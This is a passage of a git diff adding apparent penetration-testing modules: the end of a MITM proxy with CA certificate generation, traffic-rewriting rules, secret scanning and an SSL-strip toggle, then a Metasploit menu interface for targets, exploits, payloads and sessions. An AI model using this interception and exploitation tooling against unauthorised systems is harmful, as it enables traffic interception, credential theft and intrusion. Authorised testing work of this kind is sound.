to generate certificate: {str(e)}'} + + def get_ca_cert(self): + """Return CA certificate content for client installation.""" + cert_path = self._cert_dir / 'ca-cert.pem' + der_path = self._cert_dir / 'ca-cert.der' + + if not cert_path.exists(): + return {'success': False, 'error': 'No CA certificate found. Generate one first.'} + + try: + with open(cert_path, 'r') as f: + pem_data = f.read() + + result = { + 'success': True, + 'pem': pem_data, + 'pem_path': str(cert_path), + } + + if der_path.exists(): + import base64 + with open(der_path, 'rb') as f: + result['der_b64'] = base64.b64encode(f.read()).decode('ascii') + result['der_path'] = str(der_path) + + return result + + except Exception as e: + return {'success': False, 'error': f'Failed to read certificate: {str(e)}'} + + def get_certs(self): + """List generated interception certificates.""" + certs = [] + if self._cert_dir.exists(): + for f in sorted(self._cert_dir.iterdir()): + if f.is_file(): + stat = f.stat() + certs.append({ + 'name': f.name, + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + 'path': str(f), + }) + return certs + + # ── Rules Engine ───────────────────────────────────────────────── + + def add_rule(self, rule): + """Add a modification rule. + + Rule dict keys: + match_url: regex pattern to match URL + match_method: HTTP method or 'ANY' + action: modify_header | modify_body | inject_header | redirect | block + params: dict with action-specific parameters + """ + rule_entry = { + 'id': self._next_rule_id, + 'match_url': rule.get('match_url', '.*'), + 'match_method': rule.get('match_method', 'ANY'), + 'action': rule.get('action', 'block'), + 'params': rule.get('params', {}), + 'enabled': True, + 'created': datetime.now().isoformat(), + } + + # Validate regex + try: + re.compile(rule_entry['match_url']) + except re.error as e: + return {'success': False, 'error': f'Invalid URL pattern: {str(e)}'} + + # Validate action + valid_actions = ('modify_header', 'modify_body', 'inject_header', 'redirect', 'block') + if rule_entry['action'] not in valid_actions: + return {'success': False, 'error': f'Invalid action. Must be one of: {", ".join(valid_actions)}'} + + self._rules.append(rule_entry) + self._next_rule_id += 1 + self._save_rules() + + return {'success': True, 'rule': rule_entry} + + def remove_rule(self, rule_id): + """Remove a rule by ID.""" + rule_id = int(rule_id) + for i, rule in enumerate(self._rules): + if rule['id'] == rule_id: + removed = self._rules.pop(i) + self._save_rules() + return {'success': True, 'removed': removed} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def list_rules(self): + """List all active rules.""" + return self._rules + + def enable_rule(self, rule_id): + """Enable a rule.""" + rule_id = int(rule_id) + for rule in self._rules: + if rule['id'] == rule_id: + rule['enabled'] = True + self._save_rules() + return {'success': True, 'rule': rule} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def disable_rule(self, rule_id): + """Disable a rule.""" + rule_id = int(rule_id) + for rule in self._rules: + if rule['id'] == rule_id: + rule['enabled'] = False + self._save_rules() + return {'success': True, 'rule': rule} + return {'success': False, 'error': f'Rule {rule_id} not found'} + + def _save_rules(self): + """Persist rules to disk.""" + try: + with open(self._rules_path, 'w') as f: + json.dump(self._rules, f, indent=2) + except Exception: + pass + + def _load_rules(self): + """Load rules from disk.""" + if self._rules_path.exists(): + try: + with open(self._rules_path, 'r') as f: + self._rules = json.load(f) + if self._rules: + self._next_rule_id = max(r.get('id', 0) for r in self._rules) + 1 + except Exception: + self._rules = [] + + # ── Traffic Logging ────────────────────────────────────────────── + + def _log_traffic(self, method, url, status, req_headers, req_body, + resp_headers, resp_body, size, start_time): + """Log a traffic entry.""" + duration = round((time.time() - start_time) * 1000, 1) + + # Safely encode body content for JSON storage + def safe_body(body): + if body is None: + return '' + if isinstance(body, bytes): + try: + return body.decode('utf-8', errors='replace')[:10000] + except Exception: + return f'' + return str(body)[:10000] + + # Detect secrets + secrets = self._scan_for_secrets(req_headers, req_body, resp_headers, resp_body) + + entry = { + 'id': self._next_traffic_id, + 'timestamp': datetime.now().isoformat(), + 'method': method, + 'url': url, + 'status': status, + 'request_headers': dict(req_headers) if isinstance(req_headers, dict) else {}, + 'request_body': safe_body(req_body), + 'response_headers': dict(resp_headers) if isinstance(resp_headers, dict) else {}, + 'response_body': safe_body(resp_body), + 'size': size, + 'duration': duration, + 'secrets_found': secrets, + } + + with self._traffic_lock: + self._traffic.append(entry) + self._next_traffic_id += 1 + self._request_count += 1 + + # Keep max 10000 entries in memory + if len(self._traffic) > 10000: + self._traffic = self._traffic[-5000:] + + def get_traffic(self, limit=100, offset=0, filter_url=None, filter_method=None, + filter_status=None): + """Return captured traffic entries with optional filtering.""" + with self._traffic_lock: + entries = list(self._traffic) + + # Apply filters + if filter_url: + try: + pattern = re.compile(filter_url, re.IGNORECASE) + entries = [e for e in entries if pattern.search(e.get('url', ''))] + except re.error: + entries = [e for e in entries if filter_url.lower() in e.get('url', '').lower()] + + if filter_method: + entries = [e for e in entries if e.get('method', '').upper() == filter_method.upper()] + + if filter_status: + try: + status_code = int(filter_status) + entries = [e for e in entries if e.get('status') == status_code] + except (ValueError, TypeError): + pass + + # Sort by most recent first + entries = list(reversed(entries)) + + total = len(entries) + entries = entries[offset:offset + limit] + + # Strip bodies from list view for performance + summary = [] + for e in entries: + summary.append({ + 'id': e['id'], + 'timestamp': e['timestamp'], + 'method': e['method'], + 'url': e['url'][:200], + 'status': e['status'], + 'size': e['size'], + 'duration': e['duration'], + 'secrets_found': len(e.get('secrets_found', [])) > 0, + }) + + return {'entries': summary, 'total': total, 'limit': limit, 'offset': offset} + + def get_request(self, request_id): + """Get full request/response details for a traffic entry.""" + request_id = int(request_id) + with self._traffic_lock: + for entry in self._traffic: + if entry['id'] == request_id: + return {'success': True, 'entry': entry} + return {'success': False, 'error': f'Request {request_id} not found'} + + def clear_traffic(self): + """Clear traffic log.""" + with self._traffic_lock: + self._traffic.clear() + self._request_count = 0 + return {'success': True, 'message': 'Traffic log cleared'} + + def export_traffic(self, fmt='json'): + """Export traffic log.""" + with self._traffic_lock: + entries = list(self._traffic) + + if fmt == 'json': + return { + 'success': True, + 'format': 'json', + 'data': json.dumps(entries, indent=2), + 'count': len(entries), + } + elif fmt == 'csv': + import io + import csv + output = io.StringIO() + writer = csv.writer(output) + writer.writerow(['id', 'timestamp', 'method', 'url', 'status', + 'size', 'duration', 'secrets']) + for e in entries: + writer.writerow([ + e['id'], e['timestamp'], e['method'], e['url'], + e['status'], e['size'], e['duration'], + len(e.get('secrets_found', [])) + ]) + return { + 'success': True, + 'format': 'csv', + 'data': output.getvalue(), + 'count': len(entries), + } + else: + return {'success': False, 'error': f'Unsupported format: {fmt}'} + + # ── Secret Detection ───────────────────────────────────────────── + + def _scan_for_secrets(self, req_headers, req_body, resp_headers, resp_body): + """Scan request/response for secrets and sensitive data.""" + secrets = [] + search_texts = [] + + # Collect all text to scan + if isinstance(req_headers, dict): + for k, v in req_headers.items(): + search_texts.append(f'{k}: {v}') + if req_body: + if isinstance(req_body, bytes): + try: + search_texts.append(req_body.decode('utf-8', errors='replace')) + except Exception: + pass + else: + search_texts.append(str(req_body)) + + if isinstance(resp_headers, dict): + for k, v in resp_headers.items(): + search_texts.append(f'{k}: {v}') + if resp_body: + if isinstance(resp_body, bytes): + try: + search_texts.append(resp_body.decode('utf-8', errors='replace')) + except Exception: + pass + else: + search_texts.append(str(resp_body)) + + combined = '\n'.join(search_texts) + + for pattern, label in _COMPILED_SECRETS: + matches = pattern.findall(combined) + for match in matches: + value = match if isinstance(match, str) else match[0] + # Mask the secret value for display + if len(value) > 8: + masked = value[:4] + '*' * (len(value) - 8) + value[-4:] + else: + masked = value[:2] + '*' * (len(value) - 2) + secrets.append({ + 'type': label, + 'value_masked': masked, + 'location': 'request/response', + }) + + return secrets + + def find_secrets(self, traffic_entry): + """Scan a specific traffic entry for secrets. Returns list of findings.""" + if isinstance(traffic_entry, (int, str)): + result = self.get_request(traffic_entry) + if not result.get('success'): + return [] + traffic_entry = result['entry'] + + return self._scan_for_secrets( + traffic_entry.get('request_headers', {}), + traffic_entry.get('request_body', ''), + traffic_entry.get('response_headers', {}), + traffic_entry.get('response_body', ''), + ) + + # ── SSL Strip ──────────────────────────────────────────────────── + + def ssl_strip_mode(self, enabled=True): + """Toggle SSL stripping (rewrite HTTPS links to HTTP).""" + self._ssl_strip = bool(enabled) + return { + 'success': True, + 'ssl_strip': self._ssl_strip, + 'message': f'SSL stripping {"enabled" if self._ssl_strip else "disabled"}', + } + + # ── CLI Interface ──────────────────────────────────────────────── + + def run(self): + """Interactive CLI for the MITM Proxy module.""" + while True: + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.RED}MITM Proxy{Colors.RESET}") + print(f"{Colors.DIM}HTTP(S) interception proxy & traffic analysis{Colors.RESET}\n") + + status = self.get_status() + if status['running']: + print(f"{Colors.GREEN}[+] Proxy RUNNING on {status['host']}:{status['port']}" + f" ({status['engine']}){Colors.RESET}") + print(f" Requests: {status['request_count']} | " + f"Rules: {status['rules_count']} | " + f"SSL Strip: {'ON' if status['ssl_strip'] else 'OFF'}") + if status['upstream_proxy']: + print(f" Upstream: {status['upstream_proxy']}") + else: + print(f"{Colors.YELLOW}[-] Proxy STOPPED{Colors.RESET}") + + print(f"\n{Colors.CYAN}1{Colors.RESET} Start Proxy") + print(f"{Colors.CYAN}2{Colors.RESET} Stop Proxy") + print(f"{Colors.CYAN}3{Colors.RESET} Add Rule") + print(f"{Colors.CYAN}4{Colors.RESET} View Traffic") + print(f"{Colors.CYAN}5{Colors.RESET} Find Secrets") + print(f"{Colors.CYAN}6{Colors.RESET} Generate CA Certificate") + print(f"{Colors.CYAN}7{Colors.RESET} Toggle SSL Strip") + print(f"{Colors.CYAN}8{Colors.RESET} List Rules") + print(f"{Colors.CYAN}0{Colors.RESET} Back\n") + + try: + choice = input(f"{Colors.WHITE}Choice: {Colors.RESET}").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0': + break + + elif choice == '1': + if status['running']: + print(f"\n{Colors.YELLOW}Proxy is already running.{Colors.RESET}") + else: + host = input(f"Listen host [{self._listen_host}]: ").strip() or self._listen_host + port = input(f"Listen port [{self._listen_port}]: ").strip() or str(self._listen_port) + upstream = input("Upstream proxy (host:port, blank for none): ").strip() or None + result = self.start(host, int(port), upstream) + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '2': + result = self.stop() + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + else: + print(f"\n{Colors.YELLOW}[-] {result['error']}{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.BOLD}Add Modification Rule{Colors.RESET}") + url_pattern = input("URL pattern (regex): ").strip() or '.*' + method = input("Method filter (GET/POST/ANY): ").strip().upper() or 'ANY' + print("Actions: block, redirect, modify_header, inject_header, modify_body") + action = input("Action: ").strip().lower() + params = {} + if action == 'redirect': + params['target_url'] = input("Redirect URL: ").strip() + elif action in ('modify_header', 'inject_header'): + params['header_name'] = input("Header name: ").strip() + params['header_value'] = input("Header value: ").strip() + elif action == 'modify_body': + params['search'] = input("Search string: ").strip() + params['replace'] = input("Replace with: ").strip() + + result = self.add_rule({ + 'match_url': url_pattern, + 'match_method': method, + 'action': action, + 'params': params, + }) + if result['success']: + print(f"\n{Colors.GREEN}[+] Rule added (ID: {result['rule']['id']}){Colors.RESET}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '4': + traffic = self.get_traffic(limit=20) + entries = traffic.get('entries', []) + if not entries: + print(f"\n{Colors.YELLOW}No traffic captured yet.{Colors.RESET}") + else: + print(f"\n{Colors.BOLD}Recent Traffic ({traffic['total']} total){Colors.RESET}\n") + print(f"{'ID':>5} {'Method':<8} {'Status':<7} {'Size':>8} {'URL'}") + print("-" * 80) + for e in entries: + secrets_flag = ' *' if e.get('secrets_found') else '' + print(f"{e['id']:>5} {e['method']:<8} {e['status']:<7} " + f"{e['size']:>8} {e['url'][:50]}{secrets_flag}") + + elif choice == '5': + traffic = self.get_traffic(limit=1000) + entries = traffic.get('entries', []) + found = [e for e in entries if e.get('secrets_found')] + if not found: + print(f"\n{Colors.YELLOW}No secrets found in captured traffic.{Colors.RESET}") + else: + print(f"\n{Colors.RED}[!] Secrets found in {len(found)} requests:{Colors.RESET}\n") + for e in found: + req = self.get_request(e['id']) + if req.get('success'): + full = req['entry'] + for s in full.get('secrets_found', []): + print(f" {Colors.YELLOW}{s['type']}{Colors.RESET}: " + f"{s['value_masked']} ({full['method']} {full['url'][:60]})") + + elif choice == '6': + result = self.generate_ca_cert() + if result['success']: + print(f"\n{Colors.GREEN}[+] {result['message']}{Colors.RESET}") + print(f" Cert: {result['cert_path']}") + print(f" Key: {result['key_path']}") + else: + print(f"\n{Colors.RED}[-] {result['error']}{Colors.RESET}") + + elif choice == '7': + self._ssl_strip = not self._ssl_strip + state = 'ENABLED' if self._ssl_strip else 'DISABLED' + color = Colors.GREEN if self._ssl_strip else Colors.YELLOW + print(f"\n{color}[*] SSL Strip mode {state}{Colors.RESET}") + + elif choice == '8': + rules = self.list_rules() + if not rules: + print(f"\n{Colors.YELLOW}No rules configured.{Colors.RESET}") + else: + print(f"\n{Colors.BOLD}Active Rules{Colors.RESET}\n") + for r in rules: + state = f"{Colors.GREEN}ON{Colors.RESET}" if r['enabled'] else f"{Colors.RED}OFF{Colors.RESET}" + print(f" [{r['id']}] {state} {r['action']:<15} " + f"{r['match_method']:<6} {r['match_url']}") + + if choice in ('1', '2', '3', '4', '5', '6', '7', '8'): + try: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + break + + +# ==================== SINGLETON ==================== + +_mitm_proxy_instance = None + + +def get_mitm_proxy(): + """Get or create singleton MITMProxy instance.""" + global _mitm_proxy_instance + if _mitm_proxy_instance is None: + _mitm_proxy_instance = MITMProxy() + return _mitm_proxy_instance + + +def run(): + get_mitm_proxy().run() + + +if __name__ == "__main__": + run() diff --git a/modules/msf.py b/modules/msf.py new file mode 100644 index 0000000..27c06f8 --- /dev/null +++ b/modules/msf.py @@ -0,0 +1,1527 @@ +""" +AUTARCH Metasploit Module +Enhanced interface for Metasploit Framework with module browser. + +Provides easy access to MSF modules, exploits, and sessions. +Uses the centralized MSF interface from core/msf_interface.py. +Integrates with msf_terms.py and msf_modules.py for descriptions. +""" + +import sys +import os +import re +import json +import time +import socket +from pathlib import Path +from typing import Dict, List, Optional, Any + +# Module metadata +DESCRIPTION = "Metasploit Framework interface" +AUTHOR = "darkHal" +VERSION = "2.0" +CATEGORY = "offense" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.msf_interface import get_msf_interface +from core.banner import Colors, clear_screen, display_banner +from core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value +from core.msf_modules import ( + get_module_info as get_library_module_info, + get_module_description, + search_modules as library_search_modules, + get_modules_by_type, + format_module_help, + MSF_MODULES +) + + +class MSFMenu: + """Enhanced Metasploit menu interface with module browser.""" + + # Module categories for browsing + MODULE_CATEGORIES = { + 'scanners': { + 'name': 'Scanners', + 'description': 'Network and vulnerability scanners', + 'types': ['auxiliary/scanner'], + 'color': Colors.CYAN + }, + 'exploits': { + 'name': 'Exploits', + 'description': 'Remote and local exploits', + 'types': ['exploit'], + 'color': Colors.RED + }, + 'post': { + 'name': 'Post-Exploitation', + 'description': 'Post-exploitation modules', + 'types': ['post'], + 'color': Colors.MAGENTA + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Payload generators', + 'types': ['payload'], + 'color': Colors.YELLOW + }, + 'auxiliary': { + 'name': 'Auxiliary', + 'description': 'Other auxiliary modules', + 'types': ['auxiliary'], + 'color': Colors.GREEN + } + } + + def __init__(self): + self.msf = get_msf_interface() + self.current_module = None + self.current_module_type = None + self.module_options = {} + + # Global target settings - persist across module selections + self.global_settings = { + 'RHOSTS': '', + 'LHOST': '', + 'LPORT': '4444', + } + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def wrap_text(self, text: str, width: int = 60, indent: str = " ") -> str: + """Word-wrap text with indent for subsequent lines.""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += (" " if current_line else "") + word + else: + if current_line: + lines.append(current_line) + current_line = word + + if current_line: + lines.append(current_line) + + return f"\n{indent}".join(lines) + + def ensure_connected(self) -> bool: + """Ensure connected to MSF RPC.""" + connected, msg = self.msf.ensure_connected() + if not connected: + print(f"\n{Colors.YELLOW}{msg}{Colors.RESET}") + print(f"{Colors.DIM}Make sure msfrpcd is running: msfrpcd -P -S{Colors.RESET}") + return connected + + def resolve_hostname(self, hostname: str) -> Optional[str]: + """Resolve hostname to IP address.""" + try: + # Check if it's already an IP + socket.inet_aton(hostname) + return hostname + except socket.error: + pass + + # Try to resolve + try: + ip = socket.gethostbyname(hostname) + return ip + except socket.gaierror: + return None + + def get_local_ip(self) -> str: + """Get local IP address for LHOST.""" + try: + # Connect to external address to get local IP + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + local_ip = s.getsockname()[0] + s.close() + return local_ip + except Exception: + return "127.0.0.1" + + # ========================================================================= + # MAIN MENU + # ========================================================================= + + def show_main_menu(self): + """Display MSF main menu.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Metasploit Framework{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Connection status + if self.msf.is_connected: + print(f" {Colors.GREEN}Status: Connected{Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Disconnected{Colors.RESET}") + + # Show current global settings + if any(self.global_settings.values()): + print() + if self.global_settings['RHOSTS']: + print(f" {Colors.CYAN}Target:{Colors.RESET} {self.global_settings['RHOSTS']}") + if self.global_settings['LHOST']: + print(f" {Colors.CYAN}LHOST:{Colors.RESET} {self.global_settings['LHOST']}") + if self.global_settings['LPORT'] and self.global_settings['LPORT'] != '4444': + print(f" {Colors.CYAN}LPORT:{Colors.RESET} {self.global_settings['LPORT']}") + + # Current module + if self.current_module: + print(f" {Colors.YELLOW}Module:{Colors.RESET} {self.current_module_type}/{self.current_module}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Target {Colors.DIM}- Configure target & listener settings{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Module Browser {Colors.DIM}- Browse modules by category{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Search Modules {Colors.DIM}- Search all modules{Colors.RESET}") + print() + print(f" {Colors.RED}[4]{Colors.RESET} Current Module {Colors.DIM}- View/configure selected module{Colors.RESET}") + print(f" {Colors.RED}[5]{Colors.RESET} Run Module {Colors.DIM}- Execute current module{Colors.RESET}") + print() + print(f" {Colors.RED}[6]{Colors.RESET} Sessions {Colors.DIM}- View and interact with sessions{Colors.RESET}") + print(f" {Colors.RED}[7]{Colors.RESET} Jobs {Colors.DIM}- View running background jobs{Colors.RESET}") + print() + print(f" {Colors.RED}[8]{Colors.RESET} MSF Console {Colors.DIM}- Direct console access{Colors.RESET}") + print(f" {Colors.RED}[9]{Colors.RESET} Quick Scan {Colors.DIM}- Common scanners{Colors.RESET}") + print(f" {Colors.RED}[E]{Colors.RESET} Exploit Suggester {Colors.DIM}- Suggest exploits from vuln data{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + # ========================================================================= + # GLOBAL TARGET SETTINGS + # ========================================================================= + + def show_target_settings(self): + """Configure global target settings.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Target Configuration{Colors.RESET}") + print(f"{Colors.DIM} Set target and listener options before selecting modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display current settings with term bank descriptions + rhosts_info = get_setting_info('RHOSTS') + lhost_info = get_setting_info('LHOST') + lport_info = get_setting_info('LPORT') + + rhosts_val = self.global_settings['RHOSTS'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + lhost_val = self.global_settings['LHOST'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + lport_val = self.global_settings['LPORT'] or '4444' + + print(f" {Colors.RED}[1]{Colors.RESET} RHOSTS = {rhosts_val}") + print(f" {Colors.DIM}{self.wrap_text(rhosts_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[2]{Colors.RESET} LHOST = {lhost_val}") + print(f" {Colors.DIM}{self.wrap_text(lhost_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[3]{Colors.RESET} LPORT = {lport_val}") + print(f" {Colors.DIM}{self.wrap_text(lport_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[A]{Colors.RESET} Auto-detect LHOST") + print(f" {Colors.GREEN}[R]{Colors.RESET} Resolve hostname to IP") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_rhosts() + elif choice == '2': + self._set_lhost() + elif choice == '3': + self._set_lport() + elif choice == 'a': + self._auto_detect_lhost() + elif choice == 'r': + self._resolve_hostname() + + except (EOFError, KeyboardInterrupt): + break + + def _set_rhosts(self): + """Set RHOSTS with validation and domain resolution.""" + print() + print(format_setting_help('RHOSTS')) + print() + + current = self.global_settings['RHOSTS'] + prompt = f"Target [{current}]: " if current else "Target: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return # Keep current + + if value: + # Check if it's a hostname that needs resolution + if not any(c.isdigit() for c in value.split('/')[0].split('-')[0]): + # Looks like a hostname + print(f"{Colors.CYAN}[*] Resolving {value}...{Colors.RESET}") + ip = self.resolve_hostname(value) + if ip: + print(f"{Colors.GREEN}[+] Resolved to {ip}{Colors.RESET}") + use_ip = input(f"{Colors.WHITE}Use resolved IP? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if use_ip != 'n': + value = ip + else: + print(f"{Colors.YELLOW}[!] Could not resolve hostname{Colors.RESET}") + + # Validate + valid, msg = validate_setting_value('RHOSTS', value) + if valid: + self.global_settings['RHOSTS'] = value + self.print_status(f"RHOSTS => {value}", "success") + else: + self.print_status(msg, "warning") + self.global_settings['RHOSTS'] = value # Set anyway, user might know better + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_lhost(self): + """Set LHOST.""" + print() + print(format_setting_help('LHOST')) + print() + + current = self.global_settings['LHOST'] + auto_ip = self.get_local_ip() + + print(f" {Colors.DIM}Detected local IP: {auto_ip}{Colors.RESET}") + prompt = f"LHOST [{current or auto_ip}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + value = current or auto_ip + + if value: + self.global_settings['LHOST'] = value + self.print_status(f"LHOST => {value}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_lport(self): + """Set LPORT.""" + print() + print(format_setting_help('LPORT')) + print() + + current = self.global_settings['LPORT'] or '4444' + prompt = f"LPORT [{current}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + value = current + + # Validate port + try: + port = int(value) + if 1 <= port <= 65535: + self.global_settings['LPORT'] = value + self.print_status(f"LPORT => {value}", "success") + else: + self.print_status("Port must be between 1 and 65535", "warning") + except ValueError: + self.print_status("Invalid port number", "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _auto_detect_lhost(self): + """Auto-detect LHOST.""" + ip = self.get_local_ip() + self.global_settings['LHOST'] = ip + self.print_status(f"LHOST => {ip} (auto-detected)", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _resolve_hostname(self): + """Resolve a hostname to IP.""" + print() + hostname = input(f"{Colors.WHITE}Hostname to resolve: {Colors.RESET}").strip() + + if hostname: + print(f"{Colors.CYAN}[*] Resolving {hostname}...{Colors.RESET}") + ip = self.resolve_hostname(hostname) + if ip: + print(f"{Colors.GREEN}[+] {hostname} => {ip}{Colors.RESET}") + use_as_target = input(f"{Colors.WHITE}Use as RHOSTS? (y/n): {Colors.RESET}").strip().lower() + if use_as_target == 'y': + self.global_settings['RHOSTS'] = ip + self.print_status(f"RHOSTS => {ip}", "success") + else: + self.print_status(f"Could not resolve {hostname}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # MODULE BROWSER + # ========================================================================= + + def show_module_browser(self): + """Browse modules by category.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Browser{Colors.RESET}") + print(f"{Colors.DIM} Browse Metasploit modules by category{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show categories + for i, (cat_id, cat_info) in enumerate(self.MODULE_CATEGORIES.items(), 1): + color = cat_info['color'] + print(f" {color}[{i}]{Colors.RESET} {cat_info['name']}") + print(f" {Colors.DIM}{cat_info['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select category: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + + try: + idx = int(choice) - 1 + cat_ids = list(self.MODULE_CATEGORIES.keys()) + if 0 <= idx < len(cat_ids): + self._browse_category(cat_ids[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _browse_category(self, category: str): + """Browse modules in a category with pagination.""" + cat_info = self.MODULE_CATEGORIES.get(category) + if not cat_info: + return + + # Get modules from library that match this category + modules = [] + for path, info in MSF_MODULES.items(): + for type_prefix in cat_info['types']: + if path.startswith(type_prefix): + modules.append({'path': path, **info}) + break + + # Also try to get from MSF if connected + if self.msf.is_connected: + for type_prefix in cat_info['types']: + if '/' in type_prefix: + # e.g., auxiliary/scanner + mtype = type_prefix.split('/')[0] + else: + mtype = type_prefix + + msf_modules = self.msf.list_modules(mtype) + if msf_modules: + for mod_path in msf_modules[:50]: # Limit to avoid overwhelming + if mod_path not in [m['path'] for m in modules]: + # Add basic info for modules not in library + modules.append({ + 'path': mod_path, + 'name': mod_path.split('/')[-1].replace('_', ' ').title(), + 'description': 'Module from Metasploit (use "info" for details)', + 'tags': [] + }) + + if not modules: + self.print_status(f"No modules found in {cat_info['name']}", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Pagination + page_size = 20 + page = 0 + total_pages = (len(modules) + page_size - 1) // page_size + + while True: + clear_screen() + display_banner() + + print(f"{cat_info['color']}{Colors.BOLD} {cat_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1} of {total_pages} ({len(modules)} modules){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Display modules in 2 columns + start_idx = page * page_size + end_idx = min(start_idx + page_size, len(modules)) + page_modules = modules[start_idx:end_idx] + + # Split into two columns + half = (len(page_modules) + 1) // 2 + col1 = page_modules[:half] + col2 = page_modules[half:] + + for i in range(max(len(col1), len(col2))): + line = "" + + # Column 1 + if i < len(col1): + num = start_idx + i + 1 + mod = col1[i] + name = mod.get('name', mod['path'].split('/')[-1]) + if len(name) > 22: + name = name[:19] + "..." + line += f" {cat_info['color']}[{num:2}]{Colors.RESET} {name:22}" + else: + line += " " * 30 + + # Column 2 + if i < len(col2): + num = start_idx + half + i + 1 + mod = col2[i] + name = mod.get('name', mod['path'].split('/')[-1]) + if len(name) > 22: + name = name[:19] + "..." + line += f" {cat_info['color']}[{num:2}]{Colors.RESET} {name:22}" + + print(line) + + print() + print(f" {Colors.DIM}[N]{Colors.RESET} Next page {Colors.DIM}[P]{Colors.RESET} Previous {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select module: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(modules): + self._show_module_details(modules[idx]) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _show_module_details(self, module_info: Dict): + """Show module details and offer to use it.""" + clear_screen() + display_banner() + + path = module_info['path'] + name = module_info.get('name', path.split('/')[-1]) + + print(f"{Colors.RED}{Colors.BOLD} {name}{Colors.RESET}") + print(f"{Colors.DIM} {path}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Try to get full help from library + help_text = format_module_help(path) + if help_text: + print(help_text) + else: + # Fall back to basic info + desc = module_info.get('description', 'No description available') + print(f" {Colors.CYAN}Description:{Colors.RESET}") + # Word wrap description + words = desc.split() + line = " " + for word in words: + if len(line) + len(word) > 70: + print(line) + line = " " + line += word + " " + if line.strip(): + print(line) + print() + + if 'author' in module_info: + authors = module_info['author'] + if isinstance(authors, list): + authors = ', '.join(authors) + print(f" {Colors.CYAN}Author:{Colors.RESET} {authors}") + + if 'cve' in module_info and module_info['cve']: + print(f" {Colors.CYAN}CVE:{Colors.RESET} {module_info['cve']}") + + if 'reliability' in module_info: + print(f" {Colors.CYAN}Reliability:{Colors.RESET} {module_info['reliability']}") + + if 'notes' in module_info: + print() + print(f" {Colors.YELLOW}Notes:{Colors.RESET} {module_info['notes']}") + + print() + print(f" {Colors.GREEN}[U]{Colors.RESET} Use this module") + print(f" {Colors.CYAN}[I]{Colors.RESET} Get info from MSF") + 